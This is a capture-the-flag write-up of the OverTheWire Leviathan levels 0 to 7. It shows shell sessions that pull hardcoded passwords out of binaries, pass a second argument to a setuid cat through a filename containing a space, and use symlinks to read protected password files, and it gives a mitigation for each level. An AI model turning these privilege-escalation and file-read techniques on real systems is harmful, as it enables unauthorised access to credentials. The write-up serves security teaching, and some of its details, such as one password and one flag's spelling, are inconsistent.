Leviathan 0 → 1

I began by running “ls -la” to identify anything unusual in the home directory. There were several files like .bashrc, but the most interesting was a hidden directory called “.backup”, and in it, was a file “bookmarks.html”

Opening up this document in vim, it was clear the file was too big to sort through manually, so I used grep to see if there were any bookmarks relating to leviathan1. There was and it revealed the flag.

```
leviathan0@leviathan:~$ ls -la
total 24
drwxr-xr-x   3 root       root       4096 Jun 24 15:01 .
drwxr-xr-x 150 root       root       4096 Jun 24 15:02 ..
drwxr-x---   2 leviathan1 leviathan0 4096 Jun 24 15:01 .backup
-rw-r--r--   1 root       root        220 Feb 13 12:16 .bash_logout
-rw-r--r--   1 root       root       3851 Jun 24 14:50 .bashrc
-rw-r--r--   1 root       root        807 Feb 13 12:16 .profile
leviathan0@leviathan:~$ ls .backup
bookmarks.html
leviathan0@leviathan:~$ vi .backup/bookmarks.html
leviathan0@leviathan:~$ grep -r leviathan1
.backup/bookmarks.html:<DT><A HREF="http://leviathan.labs.overthewire.org/passwordus.html |
This will be fixed later, the password for leviathan1 is PiXaSWQqHq" ADD_DATE="1155384634" L
AST_CHARSET="ISO-8859-1" ID="rdf:#$2wIU71">password to leviathan1</A>
leviathan0@leviathan:~$
```

Flag: PiXaSWQqHq
Vulnerabilty: Exposed sensitive information in a readable file
Mitigation: Don’t store sensitive data in plaintext, encrypt it instead and don’t leave the data in easily discoverable files

Leviathan 1→2

I listed the home directroy and it contained a binary called “check”. Running it suggested that it expected a password.

I suspected the password would be stored in the program, so I analysed the binary with radare2. In the main function, we can see that there are 4 strings stored, being “sex”, “secret”, “god”, “love”. Interestingly, only “sex” is stored to a marked address, being “s2”.

```
0x080491f3      c745e07365..    mov dword [s2], 0x786573    ; 'sex'
0x080491fa      c745ed7365..    mov dword [var_13h], 0x72636573 ; 'secr'
0x08049201      c745f07265..    mov dword [var_10h], 0x746572 ; 'ret'
0x08049208      c745e4676f..    mov dword [var_1ch], 0x646f67 ; 'god'
0x0804920f      c745e86c6f..    mov dword [var_18h], 0x65766f6c ; 'love'
```

Further down we also see that strcmp is called comparing the value at the address marked “s2” to an “s1” (s1 is where the user input is stored). This suggests that the password check is to see if the string is “sex” or not.

```
0x08049251      e8dafdffff      call sym.imp.strcmp         ; int strcmp(const char *s1, const char *s2)
```

I reran the program and entered “sex”, which then dropped me into a shell as leviathan2. From there I looked at the value stored in “/etc/leviathan_pass/leviathan2” to find the flag.

Flag: ERJ9jTYWXE
Vulnerability: Non-hashed, static password stored / credential check hardcoded in binary
Mitigation: Avoid hardcoding secret data in binaries, and if necessary, store it as ciphertext and compare to a ciphered version of user input

Leviathan 2→3

I inspected the printfile binary using radare2 and observed that it performs a check using access(), before calling cat on the supplied file. When we run ltrace to see how the program handles no input using “ltrace ./printfile”, this access function isn’t called – so we can conclude that we at least need the input of one file. If we give it .bashrc, we get this output from ltrace…

```
leviathan2@leviathan:~$ ltrace ./printfile .bashrc
__libc_start_main(["./printfile", ".bashrc"] <unfinished ...>
access(".bashrc", 4)                                                = 0
snprintf("/bin/cat .bashrc", 511, "/bin/cat %s", ".bashrc")         = 16
geteuid()                                                           = 12002
geteuid()                                                           = 12002
setreuid(12002, 12002)                                              = 0
system("/bin/cat .bashrc"export GAMEHOSTNAME=${GAMEHOSTNAME:-$HOSTNAME}
```

The most interesting part of this is that the program’s uid is restored, implying that it’s uid is (probably) 0 when it runs cat. This means that cat is run as root! If we can find a way to bypass the access function, we could run cat on /etc/leviathan_pass/leviathan3. An idea perform is to see if the program runs access() on one file and cat on another.

I then tried running “ltrace ./printfile .bashrc .bash_logout”, which revealed that access and cat only run on the first file, the second being ignored. I wondered what would happen if the program had to check a file that contained a space in it eg: “meow meow.txt”, so I made a directory and made 3 files, “meow meow.txt”, “meow” and “meow.txt” (all contain a string that says which file the output belongs to), and then ran ‘./printfile /tmp/tmp.Kt0yAebSto/"meow meow.txt"’

```
leviathan2@leviathan:/tmp/tmp.Kt0yAebSto$ vi meow.txt
leviathan2@leviathan:/tmp/tmp.Kt0yAebSto$ vi meow
leviathan2@leviathan:/tmp/tmp.Kt0yAebSto$ vi "meow meow.txt"
leviathan2@leviathan:/tmp/tmp.Kt0yAebSto$ /home/leviathan2/printfile "meow meow.txt"
this is meow
this is meow.txt
leviathan2@leviathan:/tmp/tmp.Kt0yAebSto$ ltrace /home/leviathan2/printfile "meow meow.txt"
__libc_start_main(["/home/leviathan2/printfile", "meow meow.txt"] <unfinished ...>
access("meow meow.txt", 4)                                          = 0
snprintf("/bin/cat meow meow.txt", 511, "/bin/cat %s", "meow meow.txt")  = 22
geteuid()                                                           = 12002
geteuid()                                                           = 12002
setreuid(12002, 12002)                                              = 0
system("/bin/cat meow meow.txt"this is meow
this is meow.txt
 <no return ...>
--- SIGCHLD (Child exited) ---
<... system resumed> )                                              = 0
+++ exited (status 0) +++
```

Interestingly, meow and meow.txt gets cat’ed, but “meow meow.txt” doesn’t, yet access() is checking “meow meow.txt”. With this improper handling of inputs, we now have a method of cat’ting any file.

Since we can’t make a file called “/etc/leviathan_pass/leviathan3”, it would make sense to copy that into the directory with a different name, but we can’t do that either. This means that our only option for renaming is using a symbollic link. Following the meow structure, this works and gives us the flag.

```
leviathan2@leviathan:/tmp/tmp.Kt0yAebSto$ rm meow
leviathan2@leviathan:/tmp/tmp.Kt0yAebSto$ ln -s /etc/leviathan_pass/leviathan3 ./meow
leviathan2@leviathan:/tmp/tmp.Kt0yAebSto$ ls -la
total 8
drwxrwxrwx   2 leviathan2 leviathan2  100 Jul  4 04:06 .
drwxrwx-wt 189 root       root       4040 Jul  4 04:06 ..
lrwxrwxrwx   1 leviathan2 leviathan2   30 Jul  4 04:06 meow -> /etc/leviathan_pass/leviathan3
-rw-rw-r--   1 leviathan2 leviathan2   22 Jul  4 04:02 meow meow.txt
-rw-rw-r--   1 leviathan2 leviathan2   17 Jul  4 04:01 meow.txt
leviathan2@leviathan:/tmp/tmp.Kt0yAebSto$ /home/leviathan2/printfile "meow meow.txt"
PiEpxxknZH
this is meow.txt
```

Flag: PiEpxxknZH
Vulnerability: Input handling flaw / argument reading bug
Mitigation: Avoid seperate checks and logic on attacker-controlled paths. If seperate checks are necessary, make sure they possess the same input parsing system, and are provided the same arguments

Leviathan 3→4

I started by running the "./level3" program in the home directory. It prompted me for a password, so I thought a similar vulnerablility to Leviathan 1→2 may be present. Using ltrace, I observed that the binary compared my input to "snfprintf", so I reran the program and typed that in as the password. This gave me a shell as leviathan4 which I used to read /etc/leviathan_pass/leviathan4, revealing the flag.

```
leviathan3@leviathan:~$ ltrace ./level3
__libc_start_main(["./level3"] <unfinished ...>
strcmp("h0no33", "kakaka")                                    = -1
printf("Enter the password> ")                                = 20
fgets(Enter the password> meow
"meow\n", 256, 0xf7fa85a0)                                  = 0xffffd26c
strcmp("meow\n", "snlprintf\n")                               = -1
puts("bzzzzzzzzap. WRONG"bzzzzzzzzap. WRONG
)                                                 = 19
+++ exited (status 0) +++
leviathan3@leviathan:~$ ./level3
Enter the password> snlprintf
[You've got shell]!
$ whoami
leviathan4
$ cat /etc/leviathan_pass/leviathan4
XIyBbRwAPt
$
```

Flag: XiyBbRwAPt
Vulnerablity: Non-hashed, static password stored / credential check hardcoded in binary
Mitigation: Avoid hardcoding secret data in binaries, and if necessary, store it as ciphertext and compare to a ciphered version of user input

Leviathan 4→5

Started by running "ls -la" and found a hidden directory called .trash that contained a binary. Running it printed out several binary numbers. I made a script to translate these numbers and it revealed the flag.

```
debianuser@debianbox:~$ python3 convert.py 01000010 01110101 01100010 00111001 01100111 01011010 001
10011 01000010 01000111 01010101 0000101
Bub9gZ3BGU
debianuser@debianbox:~$ cat convert.py
import sys

payload = b""
for arg in sys.argv[1:]:
        if set(arg) <= {'0', '1'}:
                for i in range(0, len(arg), 8):
                        byte_chunk = arg[i:i+8]
                        if len(byte_chunk) == 8:
                                payload += int(byte_chunk, 2).to_bytes(1, "little")
sys.stdout.buffer.write(payload)
print("")
debianuser@debianbox:~$
```

```
leviathan4@leviathan:~$ ls -la
total 24
drwxr-xr-x   3 root root       4096 Jun 24 15:01 .
drwxr-xr-x 150 root root       4096 Jun 24 15:02 ..
-rw-r--r--   1 root root        220 Feb 13 12:16 .bash_logout
-rw-r--r--   1 root root       3851 Jun 24 14:50 .bashrc
-rw-r--r--   1 root root        807 Feb 13 12:16 .profile
dr-xr-x---   2 root leviathan4 4096 Jun 24 15:01 .trash
leviathan4@leviathan:~$ ls -la .trash/
total 24
dr-xr-x--- 2 root       leviathan4  4096 Jun 24 15:01 .
drwxr-xr-x 3 root       root        4096 Jun 24 15:01 ..
-r-sr-x--- 1 leviathan5 leviathan4 14936 Jun 24 15:01 bin
leviathan4@leviathan:~$ ./.trash/bin
01000010 01110101 01100010 00111001 01100111 01011010 00110011 01000010 01000111 01010101 00001010
leviathan4@leviathan:~$
```

Flag: Bub9gZ3BGU
Script: convert.py
Vulnerability: Secrets publically displayed / weak encryption algorithm
Mitigation: Do not rely on obfusation/encoding alone to protect secrets, especially weak methods of encoding

Leviathan 5→6

I started by running the provided binary “leviathan5”, and found that it needs a file “/tmp/file.log” to exist before it can actually run. So I ran ‘echo a > /tmp/file.log && ./leviathan5’, and it printed the contents of the file to the shell. This showed that the purpose of the binary was to cat /tmp/file.log.

Thinking back to Leviathan 2→3, we were able to trick user programs into printing the contents of forbidden files using symbollic links, so I created a symbolic link from /etc/leviathan_pass/leviathan6 to /tmp/file.log, and this worked! The binary printed the file’s contents, revealing the flag to be.

```
leviathan5@leviathan:~$ ./leviathan5
Cannot find /tmp/file.log
leviathan5@leviathan:~$ echo a > /tmp/file.log && ./leviathan5
a
leviathan5@leviathan:~$ ln -s /etc/leviathan_pass/leviathan6 /tmp/file.log
leviathan5@leviathan:~$ ./leviathan5
JRGj9iWNOb
leviathan5@leviathan:~$
```

Flag: JRGj9iWNOb
Vulnerabilty: Unsafe file access through a predictable path
Mitigation: Validate caller permissions with files the program is interacting with / validate file type and ownership

Leviathan 6→7

I ran the binary, and saw it requested a 4 digit number. When I inputed a random number, it said “wrong”. This led me to believe that like Leviathan 3→4, the binary was doing a password comparison within the binary. To look for the value my input was being compared against, I did a static analysis on the binary using yadare2.

```
    0x0804921a      3945f4          cmp dword [var_ch], eax
,=< 0x0804921d      752b            jne 0x804924a
```

The key lines are these two. Above it a function call atoi() on argv[1] stores it’s value in eax, so the lines shown in readable language are …

Compare user input to dword
jump if they aren’t equal

The most important piece of information here is that the password is stored in dword. Looking in the yadare output, we can see that early on, “0x1bd3” gets stored in dword. This is probably our password.

Converted the hex into decimal (0x1bd3 = 7123) and feeding that into the program gives us a shell belonging to user leviathan7, which can be used to view the flag stored in /etc/leviathan_pass/leviathan7.

```
leviathan6@leviathan:~$ ./leviathan6 7123
$ whoami
leviathan7
$ cat /etc/leviathan_pass/leviathan7
3zrlkaPTfH
$
```

Flag: 3zrlkaPTfH
Vulnerability: Non-hashed, static password stored / credential check hardcoded in binary
Mitigation: Avoid hardcoding secret data in binaries, and if necessary, store it as ciphertext and compare to a ciphered version of user input
Extra Notes: When the binary is owned by the user and there is no delay inbetween password attempts, it becomes trivial for the user to brute force a low entropy and length password such as a 4 digit number. To avoid this, host the binary on a service which can prevent brute forcing ie: introduce a cooldown timer